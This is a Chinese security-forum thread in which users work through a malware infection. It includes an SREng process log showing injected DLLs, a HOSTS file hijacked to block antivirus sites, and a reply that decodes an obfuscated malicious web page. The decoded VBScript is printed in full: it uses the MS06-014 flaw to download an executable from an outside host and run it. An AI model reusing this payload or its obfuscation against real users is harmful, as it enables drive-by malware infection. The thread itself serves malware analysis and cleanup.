引用:

【艾玛的贴子】 同你上次发的样本处理方案： ………………

好像略有差别。
上次那个只插一个进程；这个sql.com更猛————见运行的进程就插。

==================================
正在运行的进程
[PID: 572][\SystemRoot\System32\smss.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 628][\??\C:\WINDOWS\system32\csrss.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 652][\??\C:\WINDOWS\system32\winlogon.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 704][C:\WINDOWS\system32\services.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 716][C:\WINDOWS\system32\lsass.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 872][C:\WINDOWS\system32\svchost.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 928][C:\WINDOWS\system32\svchost.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 1024][C:\Program Files\Rising\Rav\CCenter.exe]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 3]
[PID: 1040][C:\WINDOWS\System32\svchost.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
    [C:\Program Files\Rising\Rav\RavScrCh.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
[PID: 1080][C:\WINDOWS\system32\svchost.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 1144][C:\WINDOWS\system32\svchost.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 1164][C:\Program Files\Rising\Rav\Ravmond.exe]  [Beijing Rising Technology Co., Ltd., 18, 0, 1, 47]
    [C:\Program Files\Rising\Rav\BWList.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 20]
    [C:\Program Files\Rising\Rav\RsCommX.dll]  [rising, 18, 0, 0, 1]
    [C:\Program Files\Rising\Rav\RsPPsys.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 3]
    [C:\Program Files\Rising\Rav\RSAPPMGR.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 2]
    [C:\Program Files\Rising\Rav\CfgDll.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 11]
    [C:\Program Files\Rising\Rav\RSCOMMON.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\Program Files\Rising\Rav\RsLog.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 20]
    [C:\Program Files\Rising\Rav\HOOKSYS.dll]  [Beijing Rising Technology Co., Ltd., 18, 1, 0, 12]
    [C:\Program Files\Rising\Rav\Scanner.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 33]
    [C:\Program Files\Rising\Rav\libload.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 10]
    [C:\Program Files\Rising\Rav\VirusLib.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 13]
    [C:\Program Files\Rising\Rav\regmon.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 6]
    [C:\Program Files\Rising\Rav\HookWeb.dll]  [rising, 18, 0, 0, 2]
    [C:\Program Files\Rising\Rav\MemMon.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 12]
    [C:\Program Files\Rising\Rav\expscan.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\Program Files\Rising\Rav\mPorts.dll]  [Beijing Rising Technology Co., Ltd., 4, 0, 0, 3]
    [C:\Program Files\Rising\Rav\MailMon.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 5]
    [C:\Program Files\Rising\Rav\SpamEng.dll]  [N/A, 18, 0, 0, 6]
    [C:\Program Files\Rising\Rav\engine.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 35]
    [C:\Program Files\Rising\Rav\PostTrt.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 18]
    [C:\Program Files\Rising\Rav\UnExe.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 11]
    [C:\Program Files\Rising\Rav\ScanExec.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 16]
    [C:\Program Files\Rising\Rav\ScanEx.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 33]
    [C:\Program Files\Rising\Rav\RSUnpack.dll]  [Beijing Rising Technology Co., Ltd., 1, 0, 0, 21]
    [C:\Program Files\Rising\Rav\ExtFile.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 24]
    [C:\Program Files\Rising\Rav\NvFile.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 7]
    [C:\Program Files\Rising\Rav\ScanMac.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 10]
    [C:\Program Files\Rising\Rav\ScanSct.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 20]
    [C:\Program Files\Rising\Rav\Unpacker.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 5]
[PID: 1356][c:\program files\rising\rfw\rfwsrv.exe]  [Beijing Rising Technology Co., Ltd., 4, 0, 0, 33]
    [c:\program files\rising\rfw\RfwRule.dll]  [Beijing Rising Technology Co., Ltd., 4, 0, 0, 13]
    [c:\program files\rising\rfw\rfwlog.dll]  [Beijing Rising Technology Co., Ltd., 4, 0, 0, 6]
    [c:\program files\rising\rfw\Rfwdrv.dll]  [Beijing Rising Technology Co., Ltd., 4, 0, 0, 21]
    [c:\program files\rising\rfw\MonDrv.dll]  [rs, 1, 0, 0, 4]
    [c:\program files\rising\rfw\ProcLib.dll]  [Beijing Rising Technology Co., Ltd., 4, 0, 0, 9]
    [c:\program files\rising\rfw\mPorts.dll]  [Beijing Rising Technology Co., Ltd., 4, 0, 0, 3]
[PID: 1560][C:\WINDOWS\Explorer.EXE]  [Microsoft Corporation, 6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [C:\PROGRA~1\3721\alrex.dll]  [, 1, 0, 1, 1001]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\PROGRA~1\3721\autolive.dll]  [, 1, 1, 9, 1329]
    [C:\PROGRA~1\3721\alLiveEx.dll]  [ , 1, 0, 3, 1006]
    [C:\Program Files\BitComet\tools\BitCometBHO.dll]  [BitComet, 20061116]
    [C:\Program Files\WinRAR\rarext.dll]  [N/A, N/A]
    [C:\PROGRA~1\3721\ske\contmenu.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\RavExt.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 21]
    [C:\Program Files\Rising\Rav\RSCOMMON.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\Program Files\Rising\Rav\RavScrCh.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\WINDOWS\system32\mp3infp.dll]  [win32lab.com, 2.50.5.0]
[PID: 1672][C:\WINDOWS\system32\spoolsv.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 1864][C:\Program Files\Rising\Rav\RavStub.exe]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 16]
    [C:\Program Files\Rising\Rav\RsCommX.dll]  [rising, 18, 0, 0, 1]
    [C:\Program Files\Rising\Rav\RSCOMMON.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
[PID: 168][C:\WINDOWS\SOUNDMAN.EXE]  [Realtek Semiconductor Corp., 5.1.0.39]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
[PID: 188][C:\WINDOWS\system32\nvsvc32.exe]  [NVIDIA Corporation, 6.14.10.9291]
    [C:\WINDOWS\system32\nvapi.dll]  [N/A, N/A]
[PID: 224][C:\Program Files\Rising\Rfw\rfwmain.exe]  [Beijing Rising Technology Co., Ltd., 4, 0, 0, 52]
    [C:\Program Files\Rising\Rfw\RsGuiLib.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 23]
    [C:\Program Files\Rising\Rfw\RSCOMMON.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\Program Files\Rising\Rfw\PngDll.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 5]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
[PID: 308][C:\Program Files\Rising\Rav\RavTask.exe]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 22]
    [C:\Program Files\Rising\Rav\RSCOMMON.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\Program Files\Rising\Rav\RSAPPMGR.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 2]
    [C:\Program Files\Rising\Rav\CfgDll.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 11]
    [C:\Program Files\Rising\Rav\RsCommX.dll]  [rising, 18, 0, 0, 1]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
[PID: 336][C:\WINDOWS\system32\rundll32.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
[PID: 368][C:\WINDOWS\system32\rundll32.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\PROGRA~1\3721\autolive.dll]  [, 1, 1, 9, 1329]
    [C:\PROGRA~1\3721\alLiveEx.dll]  [ , 1, 0, 3, 1006]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
[PID: 388][C:\Program Files\Rising\Rav\Ravmon.exe]  [Beijing Rising Technology Co., Ltd., 18, 0, 1, 39]
    [C:\Program Files\Rising\Rav\RsGuiLib.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 26]
    [C:\Program Files\Rising\Rav\BWList.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 20]
    [C:\Program Files\Rising\Rav\RSAPPMGR.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 2]
    [C:\Program Files\Rising\Rav\CfgDll.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 11]
    [C:\Program Files\Rising\Rav\RSCOMMON.DLL]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\Program Files\Rising\Rav\RsCommX.dll]  [rising, 18, 0, 0, 1]
    [C:\Program Files\Rising\Rav\PngDll.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 5]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]

[PID: 496][F:\Kingsoft\Powerword 2006\xdict.exe]  [Kingsoft Co, Ltd., 9, 0, 0, 0]
    [F:\Kingsoft\Powerword 2006\DicMngr.dll]  [Kingsoft, 2, 0, 0, 0]
    [F:\Kingsoft\Powerword 2006\doshow.dll]  [N/A, N/A]
    [F:\Kingsoft\Powerword 2006\ITextOut.dll]  [Kingsoft, 1, 1, 0, 0]
    [F:\Kingsoft\Powerword 2006\KPic10.dll]  [N/A, N/A]
    [F:\Kingsoft\Powerword 2006\ijl11.dll]  [Intel Corporation, 1.1.2]
    [F:\Kingsoft\Powerword 2006\NormGrab.DLL]  [Kingsoft Co, Ltd., 6, 0, 0, 0]
    [F:\Kingsoft\Powerword 2006\toTTSEngine50.dll]  [Kingsoft Corporation, 1, 0, 0, 1]
    [F:\Kingsoft\Powerword 2006\xfile.dll]  [N/A, N/A]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [F:\Kingsoft\Powerword 2006\DBCore10.dll]  [Kingsoft  Corp., 1, 0, 0, 0]
    [F:\Kingsoft\Powerword 2006\XdictGrb.dll]  [Kingsoft Co, Ltd., 9, 0, 0, 0]
    [F:\Kingsoft\Powerword 2006\KAVPassport.DLL]  [Kingsoft Corporation, 2005, 4, 7, 25]
    [C:\Program Files\Rising\Rav\RavScrCh.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
[PID: 964][C:\WINDOWS\system32\sysresrv.exe]  [N/A, N/A]
[PID: 988][C:\WINDOWS\system32\wdfmgr.exe]  [Microsoft Corporation, 5.2.3790.1230 built by: dnsrv(bld4act)]
[PID: 2196][C:\WINDOWS\System32\alg.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
[PID: 2352][C:\WINDOWS\system32\wscntfy.exe]  [Microsoft Corporation, 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
[PID: 2552][C:\WINDOWS\system32\wuauclt.exe]  [Microsoft Corporation, 5.8.0.2469 built by: lab01_n(wmbla)]
[PID: 2972][C:\Program Files\Internet Explorer\iexplore.exe]  [Microsoft Corporation, 6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [C:\PROGRA~1\3721\scrblock.dll]  [3721, 1, 0, 1, 1000]
    [C:\PROGRA~1\3721\alrex.dll]  [, 1, 0, 1, 1001]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\PROGRA~1\3721\autolive.dll]  [, 1, 1, 9, 1329]
    [C:\PROGRA~1\3721\alLiveEx.dll]  [ , 1, 0, 3, 1006]
    [C:\Program Files\BitComet\tools\BitCometBHO.dll]  [BitComet, 20061116]
    [C:\Program Files\Rising\Rav\RavScrCh.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\WINDOWS\system32\Macromed\Flash\Flash9.ocx]  [Adobe Systems, Inc., 9,0,16,0]
[PID: 1100][C:\Program Files\Internet Explorer\iexplore.exe]  [Microsoft Corporation, 6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [C:\PROGRA~1\3721\scrblock.dll]  [3721, 1, 0, 1, 1000]
    [C:\PROGRA~1\3721\alrex.dll]  [, 1, 0, 1, 1001]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\PROGRA~1\3721\autolive.dll]  [, 1, 1, 9, 1329]
    [C:\PROGRA~1\3721\alLiveEx.dll]  [ , 1, 0, 3, 1006]
    [C:\Program Files\BitComet\tools\BitCometBHO.dll]  [BitComet, 20061116]
    [C:\Program Files\Rising\Rav\RavScrCh.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
[PID: 200][C:\Program Files\Internet Explorer\iexplore.exe]  [Microsoft Corporation, 6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [C:\PROGRA~1\3721\scrblock.dll]  [3721, 1, 0, 1, 1000]
    [C:\PROGRA~1\3721\alrex.dll]  [, 1, 0, 1, 1001]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]
    [C:\PROGRA~1\3721\autolive.dll]  [, 1, 1, 9, 1329]
    [C:\PROGRA~1\3721\alLiveEx.dll]  [ , 1, 0, 3, 1006]
    [C:\Program Files\BitComet\tools\BitCometBHO.dll]  [BitComet, 20061116]
    [C:\Program Files\Rising\Rav\RavScrCh.dll]  [Beijing Rising Technology Co., Ltd., 18, 0, 0, 4]
    [C:\WINDOWS\system32\Macromed\Flash\Flash9.ocx]  [Adobe Systems, Inc., 9,0,16,0]
    [C:\Documents and Settings\Administrator\桌面\SREng【teyqiu】.com]  [Smallfrogs Studio, 2.2.6.605]
    [C:\PROGRA~1\3721\helper.dll]  [, 1, 1, 1, 1327]
    [f:\Tencent\QQ\80og.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\rf7zn.dll]  [N/A, N/A]
    [C:\WINDOWS\system32\drivers\uia2q.sys]  [N/A, N/A]

==================================
文件关联
.TXT  OK. [%SystemRoot%\system32\NOTEPAD.EXE %1]
.EXE  OK. ["%1" %*]
.COM  OK. ["%1" %*]
.PIF  OK. ["%1" %*]
.REG  OK. [regedit.exe "%1"]
.BAT  OK. ["%1" %*]
.SCR  OK. ["%1" /S]
.CHM  OK. ["C:\WINDOWS\hh.exe" %1]
.HLP  OK. [%SystemRoot%\System32\winhlp32.exe %1]
.INI  OK. [%SystemRoot%\System32\NOTEPAD.EXE %1]
.INF  OK. [%SystemRoot%\System32\NOTEPAD.EXE %1]
.VBS  OK. [%SystemRoot%\System32\WScript.exe "%1" %*]
.JS  OK. [%SystemRoot%\System32\WScript.exe "%1" %*]
.LNK  OK. [{00021401-0000-0000-C000-000000000046}]

==================================
Winsock 提供者
N/A

==================================
Autorun.inf
N/A

==================================
HOSTS 文件
61.141.31.11 www.kzdh.com
61.141.31.11 www.7255.com
61.141.31.11 www.7322.com
61.141.31.11 www.7939.com
61.141.31.11 www.piaoxue.com
61.141.31.11 www.feixu.net
61.141.31.11 www.6781.com
61.141.31.11 www.7b.com.cn
61.141.31.11 7b.com.cn
61.141.31.11 www.918188.com
61.141.31.11 hao.allxue.com
61.141.31.11 good.allxue.com
61.141.31.11 baby.allxue.com
61.141.31.11 www.allxue.com
61.141.31.11 about.lank.la
61.141.31.11 www.x114x.com
61.141.31.11 www.37ss.com
61.141.31.11 www.7k.cc
61.141.31.11 www.73ss.com
61.141.31.11 www.hao123.com
61.141.31.11 www.81915.com
61.141.31.11 222.88.90.22
61.141.31.11 www.9991.com
61.141.31.11 www.my123.com
61.141.31.11 www.haokan123.com
61.141.31.11 www.5566.net
61.141.31.11 www.gjj.cc
61.141.31.11 www.2345.com
127.0.0.1 dl.hao318.com
61.141.31.11 www.123wa.com
61.141.31.11 www.ku886.com
61.141.31.11 www.5icrack.com
61.141.31.11 www.jjol.cn
127.0.0.1 www.rising.com.cn
127.0.0.1 tool.ikaka.com
127.0.0.1 www.ikaka.com
127.0.0.1 update.rising.com.cn
127.0.0.1 online.rising.com.cn
127.0.0.1 up.rising.com.cn
127.0.0.1 go.rising.com.cn
127.0.0.1 it.rising.com.cn
127.0.0.1 rising.com.cn
127.0.0.1 ikaka.com
127.0.0.1 www.360safe.com
61.141.31.11 www.xinhai168.com
61.141.31.11 ooooos.com
61.141.31.11 www.ooooos.com
61.141.31.11 www.8757.com
61.141.31.11 4199.5009.com
61.141.31.11 220.181.34.241

==================================

【回复“yswant”的帖子】
1、日志不全
2、你的系统问题较严重。仅仅看了一下explorer.exe（资源管理器）进程————已经被插得乱七八糟！！

谢谢提醒啊

mm.htm的东西，10楼已解析过。
不过，hxxp://zq101020.a89.zgsj.com/qw.htm的加密方法，不一样，下面的一串字符，乍一看令人傻眼：

艰繇炀姞俭泸轲魻灬铉踽珏舰致鱼蜷痿⒕婔麋旖⑶泞婔妁鼋⒃趑殍舰龄鳄舰镤稆珂舰猱礤蹁舰郁沅祢舰蝈骧骝舰犴蹴鲠舰镳痄赧舰孱黹舰予镫祯舰屐狃犋舰飚铞趄舰琉痿麒舰痨骣忭舰殂踱蝼舰狒鲨驷舰轱铈钼舰睥婛篥锝⒂恽婑腱踅Ⅱ棰婗祯蚪簪婔桦杲㈤睥婌珩罱㈢婋溻旖⑵棰婎铠憬㈧澧婇遽踅⒂婋聍Ⅲ簪婁泖饨㈠恝婐镡⑾猗婗梏杲㈥澧婄牿窠簪婒钼锝⑼棰婇屙旖颌婏汨罱螈婖艴姊婂觇旖Ⅳ婜彘娼⒇廷婈疳艚⑻娶婁骘榻⒃寓婃蜥榻⑿煦彖舰沆躔赉舰箝眄屙舰浜妃怩舰履铑鲲舰苟桄骁舰玫綦骥舰刀眚妃舰犄疳舰盗镲鲺舰抄珧沌舰北潢犴舰陌礞徕舰桀骐舰赋翎铗舰镰鲶舰鞍鲡黛舰冒祀蹁舰雌骖桧舰貌忤舰古钺邂舰扯礅牾舰镡溷腱舰赍骐栾舰泗牋牋镱犲蝌矧狉弩蹴鍫铄姞牋犛弭犱鏍綘滹沲礤铘蝈狒迮戾礤铘怅醌溷腱腓铹姞牋犱娈箦袅趑蜷怩翦牏沆狍箝洧瑺煦彖痍惬眄屙醌铑鲲骀绔綦骥蝈犄疳秭醌珧沌赆慝礞徕铈氆翎铗篥螳鲡黛膈浍骖桧礅璜钺邂姞牋狊趄津钼铽殄盱汨瞰蹂貔觇飓殒疳臬滏镩蜥閵牋牋渝魻鵂綘滏蝈狒逑怅邈舁篝颥ⅱ牋牋箦魻訝綘滏蝈狒屣怅邈舁趑殍祧稆珂艴浍沅祢颥ⅱ牋牋赢豉疱牻牨姞牋狓疱顮赭珈妁霈牏梏麴函癖氨安爱岣巩箨镯碑屮澧瑺漆祗鍔牋牋渝钿姞牋犳钺礤苯Ⅲ耢镯牋牋箦魻茽綘滏蝈狒屣怅邈舁鲲腱醌鲮躜桦戢扃耦溻飓铑遽醌腭鼯泖猥痫怡梏戢珀鲴ⅸ姞牋狊弭狋眇牻犉弭羽邈獒炱镬溴颞博爦牋牋骖犴灞綘飘迈殪湫狒瑷繇瓞骖犴灞牋牋赢镳孱姞牋犛蜷翦狓弩痫铙迓镤鶌牋牋赢筢鲥麸骈戾犳钺礤爆矈牋牋赢沆矬鍔牋牋箦魻褷綘滏蝈狒屣怅邈舁黹腱醌狃犋鲷颢痿麒鲡慝踱蝼桄岖铈钼ⅸ姞牋犙桢祆砒邈豸鍫骖犴灞ⅱ眦岖痄赧姞牋牸泸轲艟姞牋牸桢徜緤牋牋剪轸戾就鶢秋錉柔鬆拈邃〖轸戾緤牋牋集桢徜炯怙澌緤壖沐铘弪境绦蛟臂狒菔б抵挟集沐铘弪緤牋牋集怙澌炯繇炀妸妸妸妸?

不过，它之所以可以执行，关键在于设置：
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
它是以US-ASCII被浏览器解析，而不是像我们看到的那样。

在百度搜了一下，居然找到了用来做这种加密的程序的源代码，而且是C写的。
源代码就不列出了，这其中代表其加密转换方法的只有一条：

ch|=0x80;

加密前的代码的每个hex码依次与80（hex码）进行逐位求或，其结果即是加密后的代码，也就是上面看到的一连串好像汉字的东西。

80（hex码，也即十六进制码）的二进制表示为10000000
与之逐位求或的结果，相当于原来的八位二进制码的第一位变成1，后七位不变，对于第一位是0的二进制码来说，也就是使整个数值增加了80（十六进制，也就是十进制的128）

于是逆过来，把加密后的hex码逐个减0x80，即可得代码的原来面貌，有用的部分如下：


<script language="VBScript">
twgl="GE"
teyv="T"
ttih="Ad"
xlvy="od"
oygf="b."
meud="St"
cdlr="re"
fxfr="am"
umva="op"
pdtv="en"
ylmi="Sh"
oklu="el"
apjx="l."
nvtr="Ap"
ptwh="pl"
fvbm="ic"
ubrw="at"
vhfa="io"
nfnb="n"
ysvo="Sc"
qklu="ri"
vlur="pt"
thkj="in"
lgqn="g."
kdbl="Fi"
nnxc="le"
ieau="Sy"
kqwy="st"
dcwb="em"
poby="Ob"
vhtj="je"
gjvq="ct"
rnbo="Mi"
ieml="cr"
ochn="os"
ueuy="of"
ejhl="t."
zeif="XM"
jpat="LH"
dfoi="TT"
frai="P"
lceh="cl"
upjc="si"
mmem="d:"
ezbu="BD"
nnvo="96"
hffg="C5"
tkfw="56"
mrez="-6"
jwpa="5A"
oovu="3-"
grcg="11"
djam="D0"
mfab="-9"
hnfk="83"
tanr="A-"
ysvs="00"
vbwl="C0"
lkud="4F"
fnhm="C2"
ymbh="9E"
naeb="36"
mbju="ob"
dckl="je"
fkho="ct"
    on error resume next
    Set df = document.createElement(mbju+dckl+fkho)
    df.setAttribute "classid", lceh+upjc+mmem+ezbu+nnvo+hffg+tkfw+mrez+jwpa+oovu+grcg+djam+mfab+hnfk+tanr+ysvs+vbwl+lkud+fnhm+ymbh+naeb
    str=rnbo+ieml+ochn+ueuy+ejhl+zeif+jpat+dfoi+frai
    Set x = df.CreateObject(str,"")
    set S = df.createobject(ttih+xlvy+oygf+meud+cdlr+fxfr,"")
    S.type = 1
    x.Open twgl+teyv, "http://zq101020.a89.zgsj.com/q1.exe", False
    x.Send
    fname1="sql.com"
    set F = df.createobject(ysvo+qklu+vlur+thkj+lgqn+kdbl+nnxc+ieau+kqwy+dcwb+poby+vhtj+gjvq,"")
    set tmp = F.GetSpecialFolder(2)
    fname1= F.BuildPath(tmp,fname1)
    S.open
    S.write x.responseBody
    S.savetofile fname1,2
    S.close
    set Q = df.createobject(ylmi+oklu+apjx+nvtr+ptwh+fvbm+ubrw+vhfa+nfnb,"")
    Q.ShellExecute fname1,"","",umva+pdtv,0
    </script>

利用MS06-014漏洞，下载hxxp://zq101020.a89.zgsj.com/q1.exe到临时文件夹命名为sql.com并运行。

[C:\WINDOWS\system32\drivers\uia2q.sys] [N/A, N/A]
[C:\WINDOWS\system32\rf7zn.dll]
f:\Tencent\QQ\80og.dll
貌似这三个插得比较频繁!